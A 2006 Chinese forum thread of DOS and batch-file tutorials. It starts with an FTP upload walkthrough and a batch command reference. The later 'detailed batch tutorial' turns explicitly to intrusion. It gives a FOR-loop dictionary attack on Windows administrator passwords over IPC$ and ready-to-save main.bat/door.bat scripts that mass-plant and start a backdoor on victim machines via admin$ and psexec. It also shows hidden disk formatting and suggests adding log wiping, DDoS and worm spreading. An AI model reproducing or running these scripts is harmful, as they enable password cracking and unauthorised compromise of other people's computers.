 楼主| 发表于 2006-12-16 11:50 | 显示全部楼层

巧用DOS命令上传文件

很多朋友苦于网吧中没有CuteFTP等上传工具,无法将更新的主页文件传到服务器上。如果下载一个CuteFTP软件则费时又费事,毕竟在网络上谁都能体会到“时间就是金钱”的深刻含义。现在让我来教你一招,键入几个简单的FTP命令,就可以完成更新这项工作啦。
先假设笔者在中华网服务器上的个人主页帐户信息为:

FTP Server: home4u.at.china.com

User: xiaoyuge

Password: abc123

现在让我们打开Windows的开始菜单,执行“运行”命令,在对话框中输入ftp命令,按下“确定”按钮执行。

其时将会切换至DOS窗口,出现提示符

ftp>

现在让我们输入命令连接FTP服务器:

ftp> open home4u.at.china.com (回车)

稍等片刻,屏幕提示连接成功:

ftp> connected to home4u.china.com (回车)

接下来服务器询问你用户名和口令,分别输入xiaoyuge和abc123,待认证通过即可。

下面进入正题,开始上传文件,比如说我们要把a:\index.html传至服务器的根目录中,可以这么键入:

ftp> put a:\index.html (回车)

当屏幕提示你已经传输完毕,可以打入相关命令查看一番:

ftp> dir (回车)

(注:没人真的会傻到直接把A:盘的东东传至服务器中吧?当然是先拷贝至硬盘中再上传啦。^_^)

刚刚讲的是上传,现在来看下载。假设要把服务器\images目录中的所有.jpg文件传至本机中,按以下指令操作:

ftp> cd images(回车) [注:进入\images目录]

ftp> mget *.jpg

上传与下载工作完毕,可以运行bye中断连接。

ftp> bye(回车)

最后为了方便大家记忆,总结一下常用的FTP命令:

1. open:与服务器相连接;

2. send(put):上传文件;

3. get:下载文件;

4. mget:下载多个文件;

5. cd:切换目录;

6. dir:查看当前目录下的文件;

7. del:删除文件;

8. bye:中断与服务器的连接。

命令虽然简单,但不一定人人皆知;再说“养兵千日,用兵一时”,说不定什么时候就会用得着的呢。如果想了解得更多,就打ftp> help (回车)查看命

 

个人说明

小弟读过两年书,尘世中一个迷途小书童.....

 


 

 

 

 

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-16 11:52 | 显示全部楼层
[广告] Excel易用宝 - 提升Excel的操作效率 · Excel / WPS表格插件       ★免费下载 ★       ★ 使用帮助

批处理文件命令
一、什么叫做批处理文件?
批处理文件(文件名为*.BAT)就是将一些常用的命令写入一个文本文件内。当我们要使用这个文件时,只要键入批处理文件的文件名,批处理文件就会依照文件中的命令来执行全部或者是一部分指定要执行命令。如此我们便可简化我们的工作,而不用每一次都需要手动键入很多的命令来执行一些动作。
一个批处理文件的建立,因为必须是一个文本文件;所以只要有字处理功能的软件,都可用来建立此文本文件,例如EDIT,WORDSTAR,PE2……等程序皆可。
二、什么是自动批处理?
自动批处理文件(AUTOEXEC.BAT),是批处理文件的一种,处于引导盘(一般为C盘或A盘)的根目录下,当每一次开机时,系统将自动到引导盘的根目录下查找它,如果找到了就自动执行它。
三、批处理文件中可以使用哪些命令?
只要能够在DOS的系统提示符下执行的命令,或应用软件执行文件名称,都能写在批处理文件中,批处理命令也可包含在内,详细如下:
1.DOS的内部命令
2.DOS的外部命令
3.COM的命令文件
4.EXE的可执行文件
5.批文件命令:CALL,ECHO,FOR,GOTO,IF,PAUSE,REM,SHIFT
6.其他的批文件
四、批处理文件命令
     BATCH DOS 命令
1.功能: 批处理命令是存储在一个特殊的批处理文件(Batch File)中的DOS命令。当执行一个批处理文件时,DOS将依次执行文件内所存储的各项DOS命令。
2.格式:[d:][path][filename.bat][parameters]
3.说明: ①、批处理文件的扩展名应为.BAT。
②、当执行批处理文件时,您可将参数(parameters)传给一名称为file-name.bat的文件,给予不同的参数,将可以执行类似的工作。
③、如果要停止批处理文件的动作,只要按下ctrl+break二键,即可停止正在执行的命令,并且出现下述信息:
terminate batch job?(Y/N)
如果按下Y键就可以终止批处理文件的执行工作。如果按N键,那系统将会继续执行其它的批处理文件中的命令。
4.范例: ①、如果在test.bat文件内包括一些替换参数,将使得在执行时,可以使用您所提供的值来替换它。例如:
copy %1.mac %2.mac
type %2.prn
type %0.bat
%0,%1,%2这三个可以被代换的参数,于执行时将使用批处理文件时的三个参数顺序依次来代换之。
%0参数永远使用批处理文件的文件名来取代。
在一个批处理文件内最多可以使用10个替换参数(%0到%9)
②、当您要执行test.bat的批处理文件时,系统将依照%1,%2等顺序给予适当的参数。例如:
A:\>test a:prog1 b:prog2
于是系统将以test代表%0,以a:\prog1代表%1,以b:\prog2代表%2因此在执行此命令时,就相当于直接在键盘上依次输入下述DOS命令一样:
copy a:\prog1.mac b:\prog2.mac
type b:\prog2.prn
typt test.bat
③、批处理文件亦可使用DOS的环境变量。环境变量于使用时前后都要加上一个%符号。例如要取用DOS PATH的值,您必需输入%PATH%。下例是先假设将变量destination定义为一台磁盘驱动器代码:
SET destination=C:于是执行以下所述命令
ECHO dot here>%destination%FILE1 (必须在批处理文件中执行)
执行之后,C磁盘的file1文件内将会存在dot here字符串。

    CALL 批处理文件命令
1.功能: 您可以在批处理文件里面调用令一个批处理文件,执行完毕后在继续执行原来的这个批处理文件内的剩余命令。
2.格式:CALL[d:][path][filename.bat][argument]
3.说明: ①、[argument]参数:指定经由批处理文件所要求的任何命令行信息;它可包含开关选择项、文件指定、变量%1至%9以及其它像%baud%这样的变量。
②、CALL命令可以在批处理文件的任何位置,只要执行时不要超过内存容量即可。
③、批处理文件也可以调用自己本身,但必须确定最后仍可以结束才好。
④、CALL命令不可以与重定向输入字符(如:<)以及数据管道字符(如:|)合用。
4.范例: ①、现有main.bat批处理文件内容如下所述:
REM I am ist batch file
REM go to 2nd batch file
CALL a2
REM now come back!
REM END
②、其中A2.bat批处理文件内容如下所述:
REM I am 2nd batch file
REM I will back to main batch file
③、执行时
A:\>main (执行main.bat)
A:\>REM I am ist batch file (main.bat前两行)
A:\>REM go 2nd batch file
A:\>CALL A2 (由main.bat中调用a2.bat)
A:\>REM I am 2nd batch file (执行a2.bat文件的内容)
A:\>REM I will back to main batch file
A:\>REM now come back! (a2.bat结束后返回main.bat
A:\>REM END 继续执行其余命令)

    CHOICE选择键组命令 批处理文件命令
1.功能: 此命令将显示指定的提示并暂停让用户在指定的键组中做选择,然后返回一个ERRORLEVEL参数给批处理程序。您只能在批处理程序中使用本命令。
2.格式:[d:][path]CHOICE[/C[:]KEYS][/N][/S][/T[:]C'nn][test]
3.说明: ①、/C[:]keys参数:在提示中指定允许可用的键。当显示时,keys将以逗黠分开并放置于括弧中,而且其后将会加上问号。如果您并无指定/C参数,则CHOICE将会使用YN来当做默认值。冒号(:)是可有可无的。
②、/N参数:使CHOICE不显示提示,但是提示前的文字仍会显示。如果您指定此参数,则指定键仍然有效。
③、/S参数:将导致CHOICE会区分大小写。如果此参数未被指定,则CHOICE将接受用户指定的任意键值的大写或小写。
④、/T[:]C'nn参数:在默认指定键之前,使CHOICE在指定的秒数中暂停。/T参数可用的值如下所示:
c---nn秒后,指定的字符将为默认的。字符必须是/c参数中所指定的选择组。
nn--指定暂停的秒数。可接受0到99之间。如果指定0,则在默认之前将不会有暂停。
⑤、[test]参数:您想在提示符前显示的字符。假如您包含斜线(\)做为提示前字符的一部分时,则必须加引号。如果您并无提示字符,则CHOICE将仅显示提示符。您所分派的第一个键将为1,第二个键将为2……余此类推。如果用户按下了一个未分派到的键,则CHOICE将发出一警告声响。如果CHOICE检测到一个错误的情况,那么它将返回一ERRORLEVEL值为255的值;如果使用者按下了Crtl+Break二键或Ctrl+c二键,则CHOICE将返回一ERRORLEVEL值为0的值。
4、范例: 这个CHIOCE命令最有用的地方就是用在批处理文件设计中。它将让用户按下指定的按键后,执行某一段在批处理文件中的命令。例如:下面是包含CHOICE命令的TEST.BAT文件内容:

@echo off
cls

echo. ┐
echo 1.defragment │
echo 2.MSD ├─显示这些字符
echo 3.Anti-Virus │
echo. ┘

choice/c:123/t:1,10 将出现要您选择1或者2或者3的提示字符,如果等10秒后,用户尚未键入1或2或3中任一字符,则自动键入1。
if errorlevel 1 goto defragmant 当用户在上述键入1时,将寻找:defragment段来执行defrag程序。
if errorlevel 2 goto msd 当用户在上述键入2时,将寻找:msd段来执行msd程序。
if errorlevel 3 goto av 当用户到上述键入3时,将寻找:av段来执行msav程序。

:defragment ┐
defrag ├:defragment段
goto end ┘

:msd ┐
msd ├:msd段
goto end ┘

:av ┐
msav ├:av段
goto end ┘

:end 结束

    ECHO 批处理文件命令
1.功能: 允许批处理文件执行时显示或不显示命令本身,但对于命令的执行则无影响。
2.格式:ECHO [on|off]
ECHO [message]
3.说明: ①、ECHO命令在启动或系统重置时,均默认为on,而可将每一批处理命令在执行同时,显示在输出设备(屏幕)上。
②、当ECHO命令设定为off时在批处理命令执行时,将不显示该命令内容,但不影响执行结果。
③、如果您指定了ECHO message,则不论是ECHO on 或ECHO off,message信息皆会显示在标准输出设备(屏幕)上。
④、如果ECHO后面未加任何字符,如on、off或message,则只会显示出ECHO当前是在on或off的状态。
4.范例:
REM 范例:①
ECHO off
ECHO piping symbol"\"ECHO redirect symbol">/"

   “/”及“>”在DOS命令里有其特殊的意义,如果要让DOS不处理时,则需使用双引号括起来。
REM 范例: ②
@ECHO off
@REM THIS LINE WILL NOT DISPLAY
REN THIS LINE WILL BE DISPLAYED
@file1
上例中,命今前有@符号,其命令行本身将不会被显示出来,其余的命令行都将被显示出来。
REM 范例:③
@ECHO off
DIR *.TXT
执行的结果如下:
Volume in drive A is ABC
Directory of A:TEST1 TXT 13 06-26-90 4:03P
TEST2 TXT 13 06-26-90 4:03P
TEST3 TXT 13 06-26-90 4:04P
3 File(s) 310272 bytes free
连ECHO off 命令本身亦不显示。

    FOR 内部命令、批处理文件命令
1.功能: 可以让我们反覆地执行DOS的命令。
2.格式: 在批处理文件中:
FOR [%%c] in(set) DO [command][arguments]
在MS-DOS命令行中:
FOR [%c] in(set) DO [command][arguments]
3.说明: ①、[%%c]或[%c]参数:将顺序地得到(set)这个集合中的各个元素来作为它的值,当得到一个值之后,就执行COMMAND此一DOS命令。
②、(set)中可包含*、?、/等通配符,那么[%%c]参数就会被设置成磁盘中能够匹配引指定的第一个文件名称,同时亦可使用路径。
③、[command]参数:指定您希望执行在每一包含在(set)中文件命令。
④、[arguments]参数为:[command]参数指定选择项。
4.范例: ①、如果一批处理文件中含有下述命令:
FOR %%F IN (TEST1.DBF TEST2.DBF TEST3.DBF) DO DEL %%F
则执行时,将有下述的结果:
DEL TEST1.DBF
DEL TEST2.DBF
DEL TEST3.DBF
②、如果批处理文件中含有下述的命令:(在TEST.BAT内)
FOR %%F IN (%1 %2 %3 %4 %5) DO DEL %%F
则在执行时执行下列命令,将有与前项相同的结果:
A>TEST TEST1.DBF TEST2.DBF TEST3.DBF
③、如果欲在DOS下直接执行此命令,则%%c只要改为%c的形式即可。

    GOTO 内部命令、批处理文件命令
1.功能: 将DOS控制权转移到某标号(LABEL)中,继续往后面执行。在批处理文件中的一个标号是以一个冒号(:)开头,其后跟着一个标号名称(LANEL NAME)所组成。
2.格式:GOTO label
3.说明: ①、GOTO label会造成接着执行标号label那一行的命令。
②、如果label未被定义,则当前这一个批处理文件的动作就会停止,并显示label notfound 信息。
③、批处理文件中的标号名称是由前面8个字来定义的。
④、批处理文件的标号是永远不会显示出来的。所以未引用的标号可用来作为一些注解。
4.范例: TEST.BAT 文件,内容如下:
@ECHO OFF
GOTO SECOND
:FIRST
REM I AM FIRST
:SECOND
REM I AM SECOND

执行结果如下:
REM I AM SECOND

    IF 内部命令、批处理文件命令
1.功能: 使DOS可以有条件地执行命令。
2.格式:IF[not] errorlevel number command
IF[not] [string1]==[string2] command
IF[not] exist filename.ext command
3.说明: ①、[not]参数:是一个可选择使用的条目,使用时会将其后面条件的结果再求一个相反的结果。
②、errorlevel number:errorlevel 是DOS产生出来的一个退出码。如果退出码大于或等于number(指定一个十进制值),则此条件成立,系统即可执行后面指定的command。
注意:测试退出码时要由大到小来测试,因为退出码只要测到大于或等于指定的值时,该条件即成立。
③、[string1]==[string2]:string1及string2皆为字符的数据,英文字母的大小写将视为不同。当[string1]及[string2]内容完全相同时,则此条件成立,并执行后面指定的command。此条件中的等号(=)必须要有两个。
④、exist filename.ext:如果指定的文件存在时,则所得的结果为“真”,否则为“假”。若为真,则系统即执行后面指定的command。
⑤、IF命令为一个分支命令。condition是一个条件,command是根据条件成立时才去执行的命令。若不成立时则往下继续执行次一个批处理文件命令。
⑥、IF errorlevel 主要是用于配合自己的程序,并于执行完毕后设置一个错误代码(errorcode),以便与IF errorlevel命令一起使用。
4.范例:REM 范例: ①
@ECHO OFF MYPROG1
IF ERRORLEVEL 2 GOTO 2
IF ERRORLEVEL 1 GOTO 1
GOTO EXTI
:L1
ECHO DATA ERROR
GOTO EXIT
:L2
ECHO PROGRAM CANCEL
:EXIT
上例中MYPROG1为一程序,在执行时如果发生退出码时,则表示该程序未执行成功。

REM 范例:②
@ECHO OFF
IF "%1"=="" GOTO EXIT
IF %1==1 GOTO L1
IF %1==2 GOTO L2
GOTO EXIT
:L1
ECHO I AM L1
GOTO EXIT
:L2
ECHO I AM L2
:EXIT
本例中,""(空字符串)、1、2是指定要与%1参数比较诉字符串。
REM 范例:③
@ECHO OFF
IF NOT EXIST PE2.EXE GOTO EXIT
PE2
GOTO END
:EXIT
ECHO PE2.EXE NOT FOUND!
:END
本例中,先检查PE2.EXE文件是否存在,不存在时则显示一个找不到的信息后结束。如果找到时则执行该程序后结束。

    PAUSE 内部命令、批处理文件命令
1.功能: 暂时停止系统命令的执行并显示下列信息:
strike a eky when ready......
2.格式:PAUSE
3.说明: ①、PAUSE命令可以在DOS执行一个命令时暂停,使您有机会来更换盘片。按下任何一个键后,即可让DOS继续执行下一个命令。
②、执行PAUSE命令时,系统会暂停;如果您要终止执行此批处理文件,则您可按下Ctrl+Break二键,接头按下Y,即可终止执行,但如果于此时按下N,则系统将继续执行其它命令。
4.范例: PAUSE1.BAT 文件,内容如下:
@ECHO OFF
@ECHO I am first
PAUSE
@ECHO ON
@ECHO I am second
@ECHO Please put a new diskette into drive A
PAUSE
则其执行结果如下所示:
A:\>PAUSE1
I am first
strike any key when ready...
I am second
Please put a new diskette into drive A
strike any key when ready...

    REM 批处理文件命令、配置文件命令
1.功能:可以在配置文件(CONFIG.SYS)或批处理文件(.BAT)中加上注解说明。
2.格式:REM [comment]
3.说明:①、[comment]参数:表示注解行,不会被当作命令执行。
②、您可在配置文件或批处理文件中将命令的功能注解加注在其中,以供日后引用。
③、CONFIG.SYS文件中的REM与在批处理文件中REM,皆可为注解的命令行。但是在批处理文件中,REM会被显示出来,而在CONFIG.SYS的REM命令行在起动DOS时并不会被显示出来。
4.范例:REM this is a sample CONFIG.SYS FOR DBASE 3
FILES=25
BUFFERS=20

    SHIFT 内部命令、批处理文件命令
1.功能: 使得DOS命令行上可以使用超过10个(%0到%9)以上的可替代参数。
2.格式SHIFT
3.说明 1.可替代参数的编号是%0--%9,如果要在一个命令行使用超过10个可以被代换的参数,则您可使用SHIFT命令来突破此限制。
2.每当执行SHIFT一次,所有命令行上的所有参数将向左移动一位。 %1的内容将为%2的内容所取代...,%9内容则由新的参数递补。
3.%0表示批处理文件本身的名称,永远不变,所以每次执行时您可以加上 9个参数在批处理文件名后。若要增加一个参数,则您将需要使用这个SHIFT命令来移位,才可取得第十个参数。
4.范例 1.SHIFT.BAT文件,内容如下:
@ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
@ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
@ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
2.执行结果如下:
A:\>SHIFT 1 1 2 3 4 5 6 7 8 9 10 11(先后跟随11个参数)
1 2 3 4 5 6 7 8 9 (取最前面9个参数)
A:\>SHIFT (移位)
2 3 4 5 6 7 8 9 10 (取另外9个参数)
A:\>SHIFT (移动)
3 4 5 6 7 8 9 10 11 (取另外9个参数)

 

望尽尽是青山 青山处处雨急风高
故园路 竟是走不尽长路.....

 


 

 

 

 

 

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-19 18:04 | 显示全部楼层

批处理详细教程(一)


前言

最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云:“授人以鱼,不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片<<简明批处理教程> >给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们.
批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。
一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{on|off}] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。
2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)
3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if {%1}=={} goto noparms
if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。
4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.
5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。
6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive:}[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。
7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

TA的精华主题

TA的得分主题

 楼主| 发表于 2006-12-19 18:06 | 显示全部楼层
[广告] Excel易用宝 - 提升Excel的操作效率 · Excel / WPS表格插件       ★免费下载 ★       ★ 使用帮助

批处理详细教程(二)


9.If 命令
if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串"  待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2、if exist 文件名  待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。
如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字  待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2  
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。
10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I
如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。
FOR /R [[drive:]path] %variable IN (set) DO command [command-
检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
或者,如果有 usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (command) DO command
filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:
eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数。
delims=xxx - 指分隔符集。这个替换了空格和跳格键的
默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。
%i 专门在 for 语句中得到说明,%j 和 %k 是通过
tokens= 选项专门得到说明的。您可以通过 tokens= 一行
指定最多 26 个符号,只要不试图说明一个高于字母 z 或
Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;
同时不能有 52 个以上都在使用中。
您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,
用单引号将括号之间的 filenameset 括起来。这样,该字符
串会被当作一个文件中的一个单一输入行。
最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将
括号之间的 filenameset 变成一个反括字符串。该字符串会
被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进
内存,并被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
会枚举当前环境中的环境变量名称。
另外,FOR 变量参照的替换已被增强。您现在可以使用下列
选项语法:
~I - 删除任何引号("),扩充 %I
%~fI - 将 %I 扩充到一个完全合格的路径名
%~dI - 仅将 %I 扩充到一个驱动器号
%~pI - 仅将 %I 扩充到一个路径
%~nI - 仅将 %I 扩充到一个文件名
%~xI - 仅将 %I 扩充到一个文件扩展名
%~sI - 扩充的路径只含有短名
%~aI - 将 %I 扩充到文件的文件属性
%~tI - 将 %I 扩充到文件的日期/时间
%~zI - 将 %I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个完全合格的名称。如果环境变量
未被定义,或者没有找到文件,此组合键会扩充
空字符串
可以组合修饰符来得到多重结果:
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
到找到的第一个驱动器号和路径。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法
用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名
比较易读,而且避免与不分大小写的组合键混淆。
以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。
sample2:
利用For命令来实现对一台目标Win2k主机的暴力密码破解。
我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。
sample3:
你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。
主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
代码雏形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\%1 c:\winnt\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.


批处理详细教程(三)


No.2
二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3
三.如何使用组合命令(Compound Command)

1.&
Usage:第一条命令 & 第二条命令 [& 第三条命令...]
用这种方法可以同时执行多条命令,而不管命令是否执行成功
Sample:
C:\>dir z: & dir c:\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
